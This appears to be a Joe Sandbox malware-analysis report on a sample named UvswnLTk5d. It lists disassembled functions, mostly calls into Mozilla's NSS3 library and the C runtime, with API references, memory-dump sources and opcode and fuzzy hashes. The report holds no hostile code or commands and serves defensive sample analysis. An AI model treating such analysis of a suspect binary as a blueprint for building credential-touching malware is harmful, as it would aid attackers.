Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CF7CD93,?), ref: 6CF7CF0B

Part of subcall function 6CF70840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF708B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CF7CD93,?), ref: 6CF7CF1D

Part of subcall function 6CF6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CF68D2D,?,00000000,?), ref: 6CF6FB85
Part of subcall function 6CF6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CF6FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CF7CD93,?), ref: 6CF7CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CF7CD93,?), ref: 6CF7CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CF7CD93,?,?,?,?,?,?,?,?,?,?,?,6CF7CD93,?), ref: 6CF7CF78

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: e968edd42476fc242876b51df325448d6d43f353ff7d569cab2eb9894b7cfc41
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 451184B5E012055BEB20AF767C51BABB5EC9F5464DF04403BEC09D7B41FB61DA0886B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF28C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF28C1B
EnterCriticalSection.KERNEL32 ref: 6CF28C34
PL_ArenaAllocate.NSS3 ref: 6CF28C65
PR_Unlock.NSS3 ref: 6CF28C9C
PR_Unlock.NSS3 ref: 6CF28CB6

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

Strings

KRAM, xrefs: 6CF28C8F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 48cc0c7e160e445604b945ce7ff961659d02fc14b4e345c1586ce3b2258361e9
Instruction ID: 4574727f1ab34dc8593d9a5d00327e140bb4bf8819cb45bff19b5fe3bf187af4
Opcode Fuzzy Hash: 48cc0c7e160e445604b945ce7ff961659d02fc14b4e345c1586ce3b2258361e9
Instruction Fuzzy Hash: 23218EB29456118FD700AFB9C484669FBF4FF45304F05896ED888CB751EB39E889CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6D022C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6D022CA0
PR_ExitMonitor.NSS3 ref: 6D022CBE
calloc.MOZGLUE(?,00000014), ref: 6D022CD1
strdup.MOZGLUE(?), ref: 6D022CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6D022D27

Strings

Loaded library %s (static lib), xrefs: 6D022D22

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: a8cd04c32ee5a7934ea91e186c513d53ced28d2bd67b0c89e9ce86138f1a87d2
Instruction ID: 6a1ea1fc72d1302f3d813a0f9032e1ce9fa429aa5e775b45f8f0792282ae0aa7
Opcode Fuzzy Hash: a8cd04c32ee5a7934ea91e186c513d53ced28d2bd67b0c89e9ce86138f1a87d2
Instruction Fuzzy Hash: EA1104B1A122509FFB208F74D851B7A77B5BB4630DF54803DE8099B781DB71A818CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF1BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF1BDCA

Part of subcall function 6CF70FF0: calloc.MOZGLUE(?,00000024,00000000,?,?,6CF187ED,00000800,6CF0EF74,00000000), ref: 6CF71000
Part of subcall function 6CF70FF0: PR_NewLock.NSS3(?,00000800,6CF0EF74,00000000), ref: 6CF71016
Part of subcall function 6CF70FF0: PL_InitArenaPool.NSS3(00000000,security,6CF187ED,00000008,?,00000800,6CF0EF74,00000000), ref: 6CF7102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF1BDDB

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF1BDEC

Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CF1BE03

Part of subcall function 6CF6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CF68D2D,?,00000000,?), ref: 6CF6FB85
Part of subcall function 6CF6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CF6FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF1BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF1BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF1BE3B

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 9fc92d7eb36a0cd46ad6a44fec02f5a6608ec3ffcbddb350ad0197252d16923d
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 5F01D6F6A45612A7F62027667C01FEB7A489F5138DF140035FE08DAF82FB61E51983B6

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFA1C74

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CFA1C92
free.MOZGLUE(?), ref: 6CFA1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CFA1CCB
free.MOZGLUE(?), ref: 6CFA1CD2

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 3e299c7edb80b32c5e9d0c9efeea2a5ff35ffc2e0549f7e509562508daab37a6
Instruction ID: 3afd446676dfe8d1a12a5cbd3a9e1a9d3e43ef64384fb5aac0f1f9ced2663686
Opcode Fuzzy Hash: 3e299c7edb80b32c5e9d0c9efeea2a5ff35ffc2e0549f7e509562508daab37a6
Instruction Fuzzy Hash: 9601D2B1C01670EFDF30AFF59C09B8A7BB8A707308F000135E90ABAA40D330E0458795

Uniqueness

Uniqueness Score: -1.00%

Function 6D001C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CF03D77,?,?,6CF04E1D), ref: 6D001C8A
sqlite3_free.NSS3(00000000), ref: 6D001CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6D001C85
a generated column, xrefs: 6D001C6C
an index, xrefs: 6D001C67
a CHECK constraint, xrefs: 6D001C76, 6D001C81

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: fa642817492776cc85af825719f548f62d361d65461ac02f25e647e4e92847cf
Instruction ID: cecce146f4ce705a666e197598752dca4f78c7a90bd1baf5916cc7c4ccf73a6b
Opcode Fuzzy Hash: fa642817492776cc85af825719f548f62d361d65461ac02f25e647e4e92847cf
Instruction Fuzzy Hash: 4A01F7B5A001409BE700AB6CD411E7177F5EFC634CB25887DED89CB752EB22E856C792

Uniqueness

Uniqueness Score: -1.00%

Function 6CF7ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CF7ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CF7EDCE

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

free.MOZGLUE(00000000,?,?,?,?,6CF7B04F), ref: 6CF7EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CF7EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CF7EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CF7EEFB

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c8339a690e7fa0acd83ae2d6b3510a82d35ff55adc06770d79da876e0c22e4e2
Instruction ID: 54eb4f06feae6956686d2fee69fcde5182665892894766d0b9911a0f739ee650
Opcode Fuzzy Hash: c8339a690e7fa0acd83ae2d6b3510a82d35ff55adc06770d79da876e0c22e4e2
Instruction Fuzzy Hash: F28159B5A002059FEB24CF59E984BEB77F5BF89308F15442AE8159BB51DB30E814CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF7CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF7C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CF7DAE2,?), ref: 6CF7C6C2

PR_Now.NSS3 ref: 6CF7CD35

Part of subcall function 6CFD9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DC6
Part of subcall function 6CFD9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DD1
Part of subcall function 6CFD9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFD9DED

Part of subcall function 6CF66C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CF11C6F,00000000,00000004,?,?), ref: 6CF66C3F

PR_GetCurrentThread.NSS3 ref: 6CF7CD54

Part of subcall function 6CFD9BF0: TlsGetValue.KERNEL32(?,?,?,6D020A75), ref: 6CFD9C07

Part of subcall function 6CF67260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CF11CCC,00000000,00000000,?,?), ref: 6CF6729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF7CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CF7CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CF7CE2C

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CF7CE40

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

Part of subcall function 6CF7CEE0: PORT_ArenaMark_Util.NSS3(?,6CF7CD93,?), ref: 6CF7CEEE
Part of subcall function 6CF7CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CF7CD93,?), ref: 6CF7CEFC
Part of subcall function 6CF7CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CF7CD93,?), ref: 6CF7CF0B
Part of subcall function 6CF7CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CF7CD93,?), ref: 6CF7CF1D

Part of subcall function 6CF7CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CF7CD93,?), ref: 6CF7CF47
Part of subcall function 6CF7CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CF7CD93,?), ref: 6CF7CF67
Part of subcall function 6CF7CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CF7CD93,?,?,?,?,?,?,?,?,?,?,?,6CF7CD93,?), ref: 6CF7CF78

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 1800ebafde5a0b5d467af7daa132f8d22c9bd6f2f8736f725804604d2e97ffa0
Instruction ID: 7eed906c6416541b935f729bb7c9cbdd852d529ec3633b260d75d8f69b38a948
Opcode Fuzzy Hash: 1800ebafde5a0b5d467af7daa132f8d22c9bd6f2f8736f725804604d2e97ffa0
Instruction Fuzzy Hash: 93519376A006049BE730EF69EC40BEA77F4AF48348F250526D95997B40EB31E915CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF8FEE0 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF8FF33
NSS_OptionGet.NSS3(?,?), ref: 6CF8FF45
PR_SetError.NSS3(FFFFD084,00000000), ref: 6CF8FF6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF8FF9B
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF90088
PR_ExitMonitor.NSS3(?), ref: 6CF90180
PR_ExitMonitor.NSS3(?), ref: 6CF90197

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Error$ExitMonitor$Option
String ID:
API String ID: 1656454950-0
Opcode ID: c9d8b9938242b4c8128b4cb92c797e1555787274081b541c4a62cdd3025efbf8
Instruction ID: 9ba98bc1d8ca14c435f512bf4c5c42ed8b8317925be65f52be79b3395712ea8a
Opcode Fuzzy Hash: c9d8b9938242b4c8128b4cb92c797e1555787274081b541c4a62cdd3025efbf8
Instruction Fuzzy Hash: BA318D72B00251AFE7105A39DC55FAFB3B8DF86709F00043AF90ADB740E7B5A9088792

Uniqueness

Uniqueness Score: -1.00%

Function 6CF4EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CF4EF38

Part of subcall function 6CF39520: PK11_IsLoggedIn.NSS3(00000000,?,6CF6379E,?,?,?), ref: 6CF39542

PK11_Authenticate.NSS3(?,?,?), ref: 6CF4EF53

Part of subcall function 6CF54C20: TlsGetValue.KERNEL32 ref: 6CF54C4C
Part of subcall function 6CF54C20: EnterCriticalSection.KERNEL32(?), ref: 6CF54C60
Part of subcall function 6CF54C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54CA1
Part of subcall function 6CF54C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CF54CBE
Part of subcall function 6CF54C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54CD2
Part of subcall function 6CF54C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54D3A

PR_GetCurrentThread.NSS3 ref: 6CF4EF9E

Part of subcall function 6CFD9BF0: TlsGetValue.KERNEL32(?,?,?,6D020A75), ref: 6CFD9C07

free.MOZGLUE(00000000), ref: 6CF4EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF4F016
free.MOZGLUE(00000000), ref: 6CF4F022

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 5950b355221360a5d73baf7e2e7db8f565ef7d6bd319423d032e8da6f75f0822
Instruction ID: 06e14831bb56cdf95f52b6b3f61a4e7356c2cc3494356aabad5c6edb533f6582
Opcode Fuzzy Hash: 5950b355221360a5d73baf7e2e7db8f565ef7d6bd319423d032e8da6f75f0822
Instruction Fuzzy Hash: 51416172E00209AFDF018FA9DC45BEF7FB9AF48358F048025F919A6351EB71D9158BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00417BAE

Part of subcall function 00417641: __mtinitlocknum.LIBCMT ref: 00417657
Part of subcall function 00417641: __amsg_exit.LIBCMT ref: 00417663
Part of subcall function 00417641: EnterCriticalSection.KERNEL32(00000000,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D,?,?,00417158,00000000,00421AC0,0041719F), ref: 0041766B

DecodePointer.KERNEL32(004219C8,00000020,00417CF1,00000000,?,00000000,?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D), ref: 00417BEA
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417BFB

Part of subcall function 004179C2: EncodePointer.KERNEL32(00000000,004191B2,00423DC8,00000314,00000000,?,?,?,?,?,00417F08,00423DC8,Microsoft Visual C++ Runtime Library,00012010), ref: 004179C4

DecodePointer.KERNEL32(-00000004,?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C21
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C34
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C3E

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
